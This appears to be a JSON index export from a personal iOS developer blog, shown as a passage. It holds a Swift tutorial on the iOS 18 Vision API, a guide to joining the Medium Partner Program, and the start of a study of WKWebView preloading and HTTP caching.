\\(error)\") } }}Analysis Results:Detected animal: Cat with confidence: 0.77245045Others: Detecting human body in images: DetectHumanRectanglesRequest Detecting poses of animals and humans (3D or 2D): DetectAnimalBodyPoseRequest, DetectHumanBodyPose3DRequest, DetectHumanBodyPoseRequest, DetectHumanHandPoseRequest Detecting and tracking object trajectories (in different frames of videos, animations): DetectTrajectoriesRequest, TrackObjectRequest, TrackRectangleRequestiOS ≥ 18 Update Highlight:VN*Request -> *Request (e.g. VNDetectBarcodesRequest -> DetectBarcodesRequest)VN*Observation -> *Observation (e.g. VNRecognizedObjectObservation -> RecognizedObjectObservation)VNRequestCompletionHandler -> async/awaitVNImageRequestHandler.perform([VN*Request]) -> *Request.perform()WWDC ExampleThe official WWDC video uses a supermarket product scanner as an example.Most products have a Barcode that can be scannedWe can obtain the location of the Barcode from observation.boundingBox, but unlike the common UIView coordinate system, the BoundingBox’s relative position starts from the lower left corner, with values ranging from 0 to 1.let filePath = Bundle.main.path(forResource: \"IMG_6785\", ofType: \"png\")! // Local test imagelet fileURL = URL(filePath: filePath)if #available(iOS 18.0, *) { // New API using Swift features var request = DetectBarcodesRequest() request.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance Task { do { let observations = try await request.perform(on: fileURL) if let observation = observations.first { DispatchQueue.main.async { self.infoLabel.text = observation.payloadString // Color layer marking let colorLayer = CALayer() // iOS >=18 new coordinate transformation API toImageCoordinates // Not tested, may need to calculate the offset for ContentMode = AspectFit: colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft) colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor self.baseImageView.layer.addSublayer(colorLayer) } print(\"BoundingBox: \\(observation.boundingBox.cgRect)\") print(\"Payload: \\(observation.payloadString ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology)\") } } catch { print(\"Request failed: \\(error)\") } }} else { // Old approach let completionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNBarcodeObservation] else { return } if let observation = observations.first { DispatchQueue.main.async { self.infoLabel.text = observation.payloadStringValue // Color layer marking let colorLayer = CALayer() colorLayer.frame = self.convertBoundingBox(observation.boundingBox, to: self.baseImageView) colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor self.baseImageView.layer.addSublayer(colorLayer) } print(\"BoundingBox: \\(observation.boundingBox)\") print(\"Payload: \\(observation.payloadStringValue ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology.rawValue)\") } } let request = VNDetectBarcodesRequest(completionHandler: completionHandler) request.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance DispatchQueue.global().async { let handler = VNImageRequestHandler(url: fileURL, options: [:]) do { try handler.perform([request]) } catch { print(\"Request failed: \\(error)\") } }}iOS ≥ 18 Update Highlight:// iOS ≥18 New Coordinate Transformation API toImageCoordinatesobservation.boundingBox.toImageCoordinates(CGSize, origin: .upperLeft)// https://developer.apple.com/documentation/vision/normalizedpoint/toimagecoordinates(from:imagesize:origin:)Helper:// Generated by ChatGPT 4o// Since the photo in the ImageView is set with ContentMode = AspectFit// Extra calculation is needed for the top and bottom offset caused by Fitfunc convertBoundingBox(_ boundingBox: CGRect, to view: UIImageView) -> CGRect { guard let image = view.image else { return .zero } let imageSize = image.size let viewSize = view.bounds.size let imageRatio = imageSize.width / imageSize.height let viewRatio = viewSize.width / viewSize.height var scaleFactor: CGFloat var offsetX: CGFloat = 0 var offsetY: CGFloat = 0 if imageRatio > viewRatio { // Image fits in the width direction scaleFactor = viewSize.width / imageSize.width offsetY = (viewSize.height - imageSize.height * scaleFactor) / 2 } else { // Image fits in the height direction scaleFactor = viewSize.height / imageSize.height offsetX = (viewSize.width - imageSize.width * scaleFactor) / 2 } let x = boundingBox.minX * imageSize.width * scaleFactor + offsetX let y = (1 - boundingBox.maxY) * imageSize.height * scaleFactor + offsetY let width = boundingBox.width * imageSize.width * scaleFactor let height = boundingBox.height * imageSize.height * scaleFactor return CGRect(x: x, y: y, width: width, height: height)}Output:BoundingBox: (0.5295758928571429, 0.21408638121589782, 0.0943080357142857, 0.21254415360708087)Payload: 4710018183805Symbology: VNBarcodeSymbologyEAN13Some products do not have a barcode, such as loose fruits with only product labelsTherefore, our scanner also needs to support scanning pure text labels simultaneously.let filePath = Bundle.main.path(forResource: \"apple\", ofType: \"jpg\")! // Local test imagelet fileURL = URL(filePath: filePath)if #available(iOS 18.0, *) { // New API using Swift features var barcodesRequest = DetectBarcodesRequest() barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance var textRequest = RecognizeTextRequest() textRequest.recognitionLanguages = [.init(identifier: \"zh-Hnat\"), .init(identifier: \"en-US\")] Task { do { let handler = ImageRequestHandler(fileURL) // parameter pack syntax and we must wait for all requests to finish before we can use their results. // let (barcodesObservation, textObservation, ...) = try await handler.perform(barcodesRequest, textRequest, ...) let (barcodesObservation, textObservation) = try await handler.perform(barcodesRequest, textRequest) if let observation = barcodesObservation.first { DispatchQueue.main.async { self.infoLabel.text = observation.payloadString // Color layer let colorLayer = CALayer() // New Coordinate Transformation API toImageCoordinates for iOS >=18 // Not tested, may need to consider the offset of ContentMode = AspectFit: colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft) colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor self.baseImageView.layer.addSublayer(colorLayer) } print(\"BoundingBox: \\(observation.boundingBox.cgRect)\") print(\"Payload: \\(observation.payloadString ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology)\") } textObservation.forEach { observation in let topCandidate = observation.topCandidates(1).first print(topCandidate?.string ?? \"No text recognized\") } } catch { print(\"Request failed: \\(error)\") } }} else { // Old approach let barcodesCompletionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNBarcodeObservation] else { return } if let observation = observations.first { DispatchQueue.main.async { self.infoLabel.text = observation.payloadStringValue // Color layer let colorLayer = CALayer() colorLayer.frame = self.convertBoundingBox(observation.boundingBox, to: self.baseImageView) colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor self.baseImageView.layer.addSublayer(colorLayer) } print(\"BoundingBox: \\(observation.boundingBox)\") print(\"Payload: \\(observation.payloadStringValue ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology.rawValue)\") } } let textCompletionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNRecognizedTextObservation] else { return } observations.forEach { observation in let topCandidate = observation.topCandidates(1).first print(topCandidate?.string ?? \"No text recognized\") } } let barcodesRequest = VNDetectBarcodesRequest(completionHandler: barcodesCompletionHandler) barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance let textRequest = VNRecognizeTextRequest(completionHandler: textCompletionHandler) textRequest.recognitionLevel = .accurate textRequest.recognitionLanguages = [\"en-US\"] DispatchQueue.global().async { let handler = VNImageRequestHandler(url: fileURL, options: [:]) do { try handler.perform([barcodesRequest, textRequest]) } catch { print(\"Request failed: \\(error)\") } }}Output:94128sORGANICPink Lady®Produce of UShiOS ≥ 18 Update Highlight:let handler = ImageRequestHandler(fileURL)// parameter pack syntax and we must wait for all requests to finish before we can use their results.// let (barcodesObservation, textObservation, ...) = try await handler.perform(barcodesRequest, textRequest, ...)let (barcodesObservation, textObservation) = try await handler.perform(barcodesRequest, textRequest)iOS ≥ 18 performAll( ) methodThe previous perform(barcodesRequest, textRequest) method for handling Barcode scanning and text recognition required both requests to be completed before continuing execution; starting from iOS 18, a new performAll() method is provided, changing the response method to streaming, allowing corresponding processing as soon as one of the requests is received, such as responding directly when a Barcode is scanned.if #available(iOS 18.0, *) { // New API using Swift features var barcodesRequest = DetectBarcodesRequest() barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcodes is needed, it can be specified directly to improve performance var textRequest = RecognizeTextRequest() textRequest.recognitionLanguages = [.init(identifier: \"zh-Hnat\"), .init(identifier: \"en-US\")] Task { let handler = ImageRequestHandler(fileURL) let observation = handler.performAll([barcodesRequest, textRequest] as [any VisionRequest]) for try await result in observation { switch result { case .detectBarcodes(_, let barcodesObservation): if let observation = barcodesObservation.first { DispatchQueue.main.async { self.infoLabel.text = observation.payloadString // Color layer marking let colorLayer = CALayer() // iOS >=18 new coordinate transformation API toImageCoordinates // Not tested, may still need to calculate the offset for ContentMode = AspectFit: colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft) colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor self.baseImageView.layer.addSublayer(colorLayer) } print(\"BoundingBox: \\(observation.boundingBox.cgRect)\") print(\"Payload: \\(observation.payloadString ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology)\") } case .recognizeText(_, let textObservation): textObservation.forEach { observation in let topCandidate = observation.topCandidates(1).first print(topCandidate?.string ?? \"No text recognized\") } default: print(\"Unrecognized result: \\(result)\") } } }}Optimize with Swift ConcurrencyAssuming we have a list of image wall, and each image needs to automatically crop out the main object; this is where we can leverage Swift Concurrency to improve loading efficiency.Original Implementationfunc generateThumbnail(url: URL) async throws -> UIImage { let request = GenerateAttentionBasedSaliencyImageRequest() let saliencyObservation = try await request.perform(on: url) return cropImage(url, to: saliencyObservation.salientObjects)} func generateAllThumbnails() async throws { for image in images { image.thumbnail = try await generateThumbnail(url: image.url) }}Executing one at a time, slow efficiency and performance.Optimization (1) — TaskGroup Concurrencyfunc generateAllThumbnails() async throws { try await withThrowingDiscardingTaskGroup { taskGroup in for image in images { image.thumbnail = try await generateThumbnail(url: image.url) } }}Adding each Task to TaskGroup Concurrency for execution. Issue: Image recognition and cropping operations are memory-intensive. Unrestrained parallel tasks may cause user lagging and OOM crashes.Optimization (2) — TaskGroup Concurrency + Limiting Parallelismfunc generateAllThumbnails() async throws { try await withThrowingDiscardingTaskGroup { taskGroup in // Maximum execution not to exceed 5 let maxImageTasks = min(5, images.count) // Fill in 5 tasks first for index in 0..<maxImageTasks { taskGroup.addTask { image[index].thumbnail = try await generateThumbnail(url: image[index].url) } } var nextIndex = maxImageTasks for try await _ in taskGroup { // When a Task in taskGroup completes await... // Check if the Index reaches the end if nextIndex < images.count { let image = images[nextIndex] // Continue filling tasks one by one (maintaining at most 5) taskGroup.addTask { image.thumbnail = try await generateThumbnail(url: image.url) } nextIndex += 1 } } }}Update an existing Vision app Vision will remove CPU and GPU support for some requests on devices with a neural engine. On these devices, the neural engine is the best choice for performance. You can check using the supportedComputeDevices() API. Remove all VN prefixes VNXXRequest, VNXXXObservation -> Request, Observation Replace the original VNRequestCompletionHandler with async/await. Use *Request.perform() directly instead of VNImageRequestHandler.perform([VN*Request]).Wrap-up API designed for Swift language features New features and methods are Swift Only, available for iOS ≥ 18 New image scoring feature, body + hand movement trackingThanks!KKday Business Recruitment👉👉👉This book club sharing is derived from the weekly technical sharing activities within the KKday App Team. The team is currently enthusiastically recruiting Senior iOS Engineer , interested friends are welcome to submit resumes.👈👈👈ReferenceDiscover Swift enhancements in the Vision frameworkThe Vision Framework API has been redesigned to leverage modern Swift features like concurrency, making it easier and faster to integrate a wide array of Vision algorithms into your app. We’ll tour the updated API and share sample code, along with best practices, to help you get the benefits of this framework with less coding effort. We’ll also demonstrate two new features: image aesthetics and holistic body pose.Chapters 0:00 — Introduction 1:07 — New Vision API 1:47 — Get started with Vision 8:59 — Optimize with Swift Concurrency 11:05 — Update an existing Vision app 13:46 — What’s new in Vision?Vision framework Apple Developer Documentation-Feel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Medium Partner Program is finally open to global (including Taiwan) writers!", "url": "/posts/cefdf4d41746/", "categories": "ZRealm, Life.", "tags": "medium, paywall, stripe, earnings, 生活", "date": "2024-08-10 17:09:15 +0800", "snippet": "Medium Partner Program is finally open to global (including Taiwan) writers!Everyone can join the Medium Partner Program to earn revenue by writing articles.Photo by Steve JohnsonMurmurThe original...", "content": "Medium Partner Program is finally open to global (including Taiwan) writers!Everyone can join the Medium Partner Program to earn revenue by writing articles.Photo by Steve JohnsonMurmurThe original intention of running Medium was not to make money but to enjoy sharing with everyone, sharing technical difficulties encountered, hoping to help developers facing the same problems take a shorter path, or based on my research, I can also learn new knowledge from it; in addition, there are few Traditional Chinese writers, hoping to inspire others and create a culture of mutual learning.So I have always been indifferent to whether articles can make a profit. Whether there is profit or not, if there is, I can use the earnings to experiment, purchase more services or experiences, and then rewrite them into articles to share with everyone, creating a rolling cycle.Since 2018, when I started writing articles on Medium, I knew that Medium had a Partner Program. However, in 2018, 2019, 2020… year after year, the Medium Partner Program policy has not been updated, and it has always been limited to a few regions for writers (I remember only Singapore and Japan in Asia) to join and earn; writers from regions other than those mentioned above need to go through troublesome methods to earn, such as using a VPN to access allowed regions + needing an account or phone number from that region, which I briefly researched before and found it too cumbersome and unsafe.As a result, many creators have switched to other platforms, such as Matters, Fangzi, or self-hosted ad revenue, and in recent years, Medium has indeed lost many Chinese creators.Medium Partner ProgramIt wasn’t until recently in August 2024 that I accidentally saw an invitation to join the Partner Program in the banner on Medium’s backend (I thought, What? Taiwan is not open for joining again), and after clicking to see, I was surprised to find that it is now fully open, and almost all regions’ creators can join the Partner Program to earn revenue through their own articles. But it’s a bit funny to say that before you can make money by joining the Medium Partner Program, you need to first spend money to join as a Medium Member paid subscriber (minimum $4 USD per month).August 7, 2024, Official Medium Blog AnnouncementList of added countries: Albania, Algeria, Angola, Antigua and Barbuda, Argentina, Armenia, Australia, Austria, Azerbaijan, Bahamas, Bahrain, Bangladesh, Belgium, Benin, Bhutan, Bolivia, Bosnia and Herzegovina, Botswana, Brunei, Bulgaria, Cambodia, Canada, Chile, Colombia, Costa Rica, Côte d’Ivoire, Croatia, Cyprus, Czech Republic, Denmark, Dominican Republic, Ecuador, Egypt, El Salvador, Estonia, Ethiopia, Finland, France, Gabon, Gambia, Germany, Ghana, Gibraltar, Greece, Guatemala, Guyana, Hong Kong, Hungary, India, Indonesia, Ireland, Israel, Italy, Jamaica, Japan, Jordan, Kazakhstan, Kenya, Kuwait, Laos, Latvia, Liechtenstein, Lithuania, Luxembourg, Macao, Madagascar, Malaysia, Malta, Mauritius, Mexico, Moldova, Monaco, Mongolia, Morocco, Mozambique, Namibia, Netherlands, New Zealand, Niger, Nigeria, North Macedonia, Norway, Oman, Pakistan, Panama, Paraguay, Peru, Philippines, Poland, Portugal, Qatar, Romania, Rwanda, Saint Lucia, San Marino, Saudi Arabia, Senegal, Serbia, Singapore, Slovakia, Slovenia, South Africa, South Korea, Spain, Sri Lanka, Sweden, Switzerland, Taiwan , Tanzania, Thailand, Trinidad and Tobago, Tunisia, Turkey, United Arab Emirates, United Kingdom, United States, Uruguay, Uzbekistan, and VietnamMedium Custom Domain FeatureRecently, Medium has been adding more and more features. Another feature that was once open and then closed, the Custom Domain feature, has recently been reopened.Return of Medium Custom Domain FeatureYou can refer to my previous article “Return of Medium Custom Domain Feature” to register your own domain and bind it to Medium. Effect: https://blog.zhgchg.li The Custom Domain feature also requires you to join as a Medium Member paid subscriber to use.Funding Methods & Tax Issues Funding Method: Direct funding through Stripe, Stripe is similar to Paypal but with lower fees and more focus on payment services. Tax Issues: Non-U.S. citizens only need to fill out a declaration form.Thoughts on Some Paywall Paid Articles After an article is put behind a Paywall and becomes a paid article, users must log in and become a Medium Member paid subscriber to read the full content. Some previously circulated unlimited reading plugins are no longer effective. My high-traffic, well-SEO’d articles are mostly unboxing and travel notes; however, they are mostly passersby, not even regular members, let alone Medium Members. They come in, take a look, and leave, so these types of articles are not suitable for Paywall. Technical articles are intended to share information freely and publicly, and I don’t think my content is worth paying for. Also, since the traffic is low and mostly industry insiders, there is not much motivation to put them behind a Paywall.Or provide free links for friends who are not Medium Members to view. For traffic/revenue effects, you can refer to the data shared by senior Tenz Shih in the early stages of joining the Medium Partner Program. I have selected several technical articles with good traffic and content to put behind a Paywall to test the effect (providing a free link in the first paragraph so that non-account holders/payers can also view), and I will update the results for everyone to refer to later. Previously, I had already migrated to self-hosting + Google Adsense, using tools I developed to transfer “ Migrate from Medium to Self-Hosted Website Painlessly” but at that time, I did not consider paid articles, so I need to adjust the script again QQ. Detailed tutorials begin.Medium Partner Program Enrollment Process1. Complete Stripe Account Registration (Opening) https://dashboard.stripe.com/register?locale=zh-Hans I registered a long time ago, so I will skip the registration process.2. Ensure you are a Medium Member paid subscriber.First, make sure you have a Medium Member or Medium Friend membership. If not, you need to subscribe and join first.3. Go to the Medium Partner Program page to apply for membership. Select your country, as almost all countries are currently supported. It is assumed that countries supporting Stripe payments are open. Ensure you meet all three conditions: Already a paying Medium Member ✅ Have published at least one article in the past six months ✅ Located in the allowed region Taiwan ✅ Click: Confirm you are over 18 years old Agree to the terms of use Click “Enroll now” to proceed to the next step.4. Complete the Medium x Stripe binding. Enter your email address. Enter your phone number. Business type: I selected “Individual or Sole Proprietorship.” Verify your personal details: Enter personal information, which can be entered in Chinese here.Add a withdrawal account: Account holder name: Enter the bank account name you want to receive payments - in English (name). SWIFT / BIC code: Enter the SWIFT code of the bank account you want to receive payments, which can be checked here. Account number: Enter the bank account number you want to receive payments. I used a Cathay Foreign Currency Account here, directly check the foreign currency account information in the app and fill it in. (You can change it in the settings later; it seems to verify correctness when making a transfer.) Review and submit: Click “Agree and Submit” after confirming the data is correct.After successful submission, you will be redirected back to Medium to continue setting up tax information.5. Complete tax declaration.Below is an example for a personal account with no U.S. identity. Enter your personal information (in English). Address: Can be translated through Chunghwa Post Select Tax Form: For non-U.S. individuals without any U.S. identity, choose the first option “W-8BEN — for non-US individuals.” Continue filling out relevant personal information (in English). Identification of Beneficial Owner (Continued) In this step, simply check “I can’t claim treaty benefits, so I’m not required to provide a Tax ID Number” and click “Continue”. Claim of Treaty Benefits (Part II) Click “Continue” for the next step directly Click “Confirm” to confirm Review After confirming the data is correct, click “Continue” for the next stepCertification (Part III): Check all boxes, select “I am signing for myself.”, enter your English name, today’s date, contact email. Finally, click “Submit Form” to submit the entire form.Done!After submission, you will be redirected to the Payout settings page. If everything is ✅, it means you have successfully joined!Add the article to Paywall to start earningNote that joining Medium Partner does not automatically generate earnings. The article must be added to Paywall to receive revenue. Article editing -> “Manage paywall setting” Check “Paywall your story” -> “Save” Articles participating in revenue sharing will have a ⭐️.This is how this article will generate revenue.Free Viewing Link If you want to allow friends to view the full article for free, select “Copy Friend Link” from Share. They can view the complete article for free through this link, but you won’t earn revenue.View Performance Reportshttps://medium.com/me/partner/dashboardMedium Partner Dashboard or Story Stats will show your Earnings.The detailed article report will also show how many paying members have viewed it.Results of this ArticleThis article was added to Paywall from the beginning (now removed), sharing the results of one month.$0.90Earnings201Views82Reads41%Read ratioNote that only Reads (paying users staying to read for over 30 seconds) generate revenue. The allocated amount is not fixed and seems to depend on views, claps, shares, etc. My numbers are not high, so each Read is distributed around $0.01 to $0.07.These data are for reference.Medium Custom Domain Promotion Medium Custom Domain Feature Returns You can follow the steps in the above article to register your own domain and link it to Medium. Effect: From https://medium.com/@zhgchgli -> https://blog.zhgchg.liIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Research on Preloading and Caching Page and File Resources in iOS WKWebView", "url": "/posts/5033090c18ba/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, cache, webview, http-request", "date": "2024-07-28 17:53:05 +0800", "snippet": "Research on Preloading and Caching Page and File Resources in iOS WKWebViewStudy on improving page loading speed by preloading and caching resources in iOS WKWebView.Photo by Antoine GravierBackgro...", "content": "Research on Preloading and Caching Page and File Resources in iOS WKWebViewStudy on improving page loading speed by preloading and caching resources in iOS WKWebView.Photo by Antoine GravierBackgroundFor some reason, I have always been quite connected to “Cache”. I have previously been responsible for researching and implementing the “ iOS HLS Cache Implementation Journey “ and “ Comprehensive Guide to Implementing Local Cache Functionality in AVPlayer “ for AVPlayer; Unlike streaming caching, which aims to reduce playback traffic, this time the main task is to improve the loading speed of In-app WKWebView, which also involves research on preloading and caching in WKWebView; However, to be honest, the scenario of WKWebView is more complex. Unlike AVPlayer, which streams audio and video as one or more continuous Chunk files, only file caching is needed, WKWebView not only has its own page files but also imported resource files ( .js, .css, font, image…) which are rendered by the Browser Engine to present the page to the user. There are too many aspects in between that the App cannot control, from network to frontend page JavaScript syntax performance, rendering methods, all of which require time.This article is only a study on the feasibility of iOS technology, and it may not be the final solution. In general, it is recommended that frontend developers start from the frontend to achieve a significant effect, please optimize the time it takes for the first content to appear on the screen (First Contentful Paint) and improve the HTTP Cache mechanism. On the one hand, it can speed up the Web/mWeb itself, affect the speed of Android/iOS in-app WebView, and also improve Google SEO ranking.Technical DetailsiOS RestrictionsAccording to Apple Review Guidelines 2.5.6: Apps that browse the web must use the appropriate WebKit framework and WebKit JavaScript. You may apply for an entitlement to use an alternative web browser engine in your app. Learn more about these entitlements.Apps can only use the WebKit framework provided by Apple (WKWebView) and are not allowed to use third-party or modified WebKit engines. Otherwise, they will not be allowed on the App Store; starting from iOS 17.4, to comply with regulations, the EU region can use other Browser Engines after obtaining special permission from Apple. If Apple doesn’t allow it, we can’t do it either.[Unverified] Information suggests that even the iOS versions of Chrome and Firefox can only use Apple WebKit (WKWebView).Another very important thing to note: WKWebView runs on a separate thread outside the main app thread, so all requests and operations do not go through our app.HTTP Cache FlowThe HTTP protocol includes a Cache protocol, and the system has already implemented a Cache mechanism in all components related to the network (URLSession, WKWebView…). Therefore, the Client App does not need to implement anything, and it is not recommended for anyone to create their own Cache mechanism. Directly following the HTTP protocol is the fastest, most stable, and most effective approach.The general operation process of HTTP Cache is as shown in the diagram above: Client initiates a request. Server responds with Cache strategy in the Response Header. The system URLSession, WKWebView, etc., will automatically cache the response based on the Cache Header, and subsequent requests will also automatically apply this strategy. When requesting the same resource again, if the cache has not expired, the response will be directly retrieved from local cache in memory or disk and sent back to the app. If the content has expired (expiration does not mean invalid), a real network request is made to the server. If the content has not changed (still valid even if expired), the server will respond with 304 Not Modified (Empty Body). Although a network request is made, it is basically a millisecond response with no Response Body, resulting in minimal traffic consumption. If the content has changed, new data and Cache Header will be provided again. In addition to local cache, there may also be network caches on Network Proxy Servers or along the way.Common HTTP Response Cache Header parameters:expires: RFC 2822 datepragma: no-cache# Newer parameters:cache-control: private/public/no-store/no-cache/max-age/s-max-age/must-revalidate/proxy-revalidate...etag: XXXCommon HTTP Request Cache Header parameters:If-Modified-Since: 2024-07-18 13:00:00IF-None-Match: 1234 In iOS, network-related components (URLSession, WKWebView…) handle HTTP Request/Response Cache Headers automatically and manage caching, so we do not need to handle Cache Header parameters ourselves.For more detailed information on how HTTP Cache works, refer to “Understanding the Progressive Understanding of HTTP Cache Mechanism by Huli”.iOS WKWebView OverviewReturning to iOS, since we can only use Apple WebKit, we can only explore ways to achieve preloading and caching through methods provided by Apple’s WebKit.The image above provides an overview of all Apple iOS WebKit (WKWebView) related methods introduced by ChatGPT 4o, along with brief explanations. The green section pertains to methods related to data storage.Sharing a few interesting methods: WKProcessPool: Allows sharing of resources, data, cookies, etc., among multiple WKWebViews. WKHTTPCookieStore: Manages WKWebView Cookies, cookies between WKWebViews, or URLSession Cookies within the app. WKWebsiteDataStore: Manages website cache files. (Read-only information and clearing) WKURLSchemeHandler: Registers custom Handlers to process unrecognized URL Schemes by WKWebView. WKContentWorld: Manages injected JavaScript (WKUserScript) scripts in groups. WKFindXXX: Controls page search functionality. WKContentRuleListStore: Implements content blockers within WKWebView (e.g., ad blocking).Feasibility Study of Preloading Cache for iOS WKWebViewImproving HTTP Cache ✅As introduced in the previous section on the HTTP Cache mechanism, we can ask the Web Team to enhance the HTTP Cache settings for the activity pages. On the client iOS side, we only need to check the CachePolicy setting, as everything else has been taken care of by the system!CachePolicy SettingsURLSession:let configuration = URLSessionConfiguration.defaultconfiguration.requestCachePolicy = .useProtocolCachePolicylet session = URLSession(configuration: configuration)URLRequest/WKWebView:var request = URLRequest(url: url)request.cachePolicy = .reloadRevalidatingCacheData//wkWebView.load(request) useProtocolCachePolicy: Default, follows default HTTP Cache control. reloadIgnoringLocalCacheData: Does not use local cache, loads data from the network every time (but allows network, Proxy cache…). reloadIgnoringLocalAndRemoteCacheData: Always loads data from the network, regardless of local or remote cache. returnCacheDataElseLoad: Uses cached data if available, otherwise loads data from the network. returnCacheDataDontLoad: Only uses cached data, does not make a network request if no cached data is available. reloadRevalidatingCacheData: Sends a request to check if the local cache is expired, if not expired (304 Not Modified), uses cached data, otherwise reloads data from the network.Setting Cache SizeApp-wide:let memoryCapacity = 512 * 1024 * 1024 // 512 MBlet diskCapacity = 10 * 1024 * 1024 * 1024 // 10 GBlet urlCache = URLCache(memoryCapacity: memoryCapacity, diskCapacity: diskCapacity, diskPath: \"myCache\") URLCache.shared = urlCacheIndividual URLSession:let memoryCapacity = 512 * 1024 * 1024 // 512 MBlet diskCapacity = 10 * 1024 * 1024 * 1024 // 10 GBlet cache = URLCache(memoryCapacity: memoryCapacity, diskCapacity: diskCapacity, diskPath: \"myCache\") let configuration = URLSessionConfiguration.defaultconfiguration.urlCache = cache Additionally, as mentioned earlier, WKWebView runs on a separate thread outside the main thread of the app, so the cache of URLRequest, URLSession is not shared with WKWebView.How to Use Safari Developer Tools in WKWebView ?Check if local Cache is being used.Enable Developer Features in Safari:Enable isInspectable in WKWebView:func makeWKWebView() -> WKWebView { let webView = WKWebView(frame: .zero) webView.isInspectable = true // is only available in ios 16.4 or newer return webView}Add webView.isInspectable = true to WKWebView to use Safari Developer Tools in Debug Build versions.![p.s. This is my test WKWebView project opened separately](/assets/5033090c18ba/1*6E6AfdFW3w7nvO2VlbhRCA.png)p.s. This is my test WKWebView project opened separatelySet a breakpoint at `webView.load`.**Start Testing:**Build & Run:![](/assets/5033090c18ba/1*8jCKl-UzSLrfjy9IAm26pA.png)When the execution reaches the breakpoint at `webView.load`, click \"Step Over\".![](/assets/5033090c18ba/1*LAX4hrwffthRAtK-_9Q42A.png)Go back to Safari, select \"Develop\" in the toolbar -> \"Simulator\" -> \"Your Project\" -> \"about:blank\".- Since the page has not started loading, the URL will be about:blank.- If about:blank does not appear, go back to XCode and click the \"Step Over\" button again until it appears.Developer tools corresponding to the page will appear:![](/assets/5033090c18ba/1*kde2nIvjC8CxFBIcoVhXqg.png)Return to XCode and click \"Continue Execution\":![](/assets/5033090c18ba/1*PtAMLX46fNwFDfF7lidyaA.png)Go back to Safari, and in the developer tools, you can see the resource loading status and full developer tools functionality (components, storage space debugging, etc.).![](/assets/5033090c18ba/1*l0vGOvT2UupVCvf4MrLgUA.png)**If there is HTTP Cache for network resources, the transmitted size will display as \"Disk\":**![](/assets/5033090c18ba/1*TMIPgtC2SVYzEmBD_xPQ_A.png)![](/assets/5033090c18ba/1*KNbus1iFkCl4HjWThyYoew.png)You can also view cache information by clicking inside.#### Clear WKWebView Cache```swift// Clean CookiesHTTPCookieStorage.shared.removeCookies(since: Date.distantPast)// Clean Stored Data, Cache Datalet dataTypes = WKWebsiteDataStore.allWebsiteDataTypes()let store = WKWebsiteDataStore.default()store.fetchDataRecords(ofTypes: dataTypes) { records in records.forEach { record in store.removeData( ofTypes: record.dataTypes, for: records, completionHandler: { print(\"clearWebViewCache() - \\(record)\") } ) }}Use the above method to clear cached resources, local data, and cookie data in WKWebView. However, improving HTTP Cache only achieves caching (faster on subsequent visits), and preloading (first visit) will not be affected. ✅Improve HTTP Cache + WKWebView Preload Entire Page 😕class WebViewPreloader { static let shared = WebViewPreloader() private var _webview: WKWebView = WKWebView() private init() { } func preload(url: URL) { let request = URLRequest(url: url) Task { @MainActor in webview.load(request) } }}WebViewPreloader.shared.preload(\"https://zhgchg.li/campaign/summer\")After improving HTTP Cache, the second time loading WKWebView will be cached. We can preload all the URLs in the list or homepage in advance to have them cached, making it faster for users when they enter.> **_After testing, it is theoretically feasible; but the performance impact and network traffic loss are too significant_** _; Users may not even go to the detailed page, but we preload all pages to feel a bit like shooting in the dark._ > _Personally, I think it is not feasible in reality, and the disadvantages outweigh the benefits, cutting off one's nose to spite one's face. 😕_ ### Enhance HTTP Cache + WKWebView Preload Pure Resources 🎉Based on the optimization method above, we can combine the HTML Link Preload method to preload only the resource files \\(e.g. \\.js, \\.css, font, image...\\) that will be used in the page, allowing users to directly use cached resources after entering without initiating network requests to fetch resource files.> **_This means I am not preloading everything on the entire page, I am only preloading the resource files that the page will use, which may also be shared across pages; the page file \\.html is still fetched from the network and combined with the preloaded files to render the page._** Please note: We are still using HTTP Cache here, so these resources must also support HTTP Cache, otherwise, future requests will still go through the network.```xml<!DOCTYPE html><html lang=\"zh-tw\"> <head> <link rel=\"preload\" href=\"https://cdn.zhgchg.li/dist/main.js\" as=\"script\"> <link rel=\"preload\" href=\"https://image.zhgchg.li/v2/image/get/campaign.jpg\" as=\"image\"> <link rel=\"preload\" href=\"https://cdn.zhgchg.li/assets/fonts/glyphicons-halflings-regular.woff2\" as=\"font\"> <link rel=\"preload\" href=\"https://cdn.zhgchg.li/assets/fonts/Simple-Line-Icons.woff2?v=2.4.0\" as=\"font\"> </head></html>Common supported file types: .js script .css style font imageThe Web Team will place the above HTML content in the path agreed upon with the App, and our WebViewPreloader will be modified to load this path, so that WKWebView will parse <link> preload resources and generate caches while loading.WebViewPreloader.shared.preload(\"https://zhgchg.li/campaign/summer/preload\")// or all in oneWebViewPreloader.shared.preload(\"https://zhgchg.li/assets/preload\") After testing, a good balance 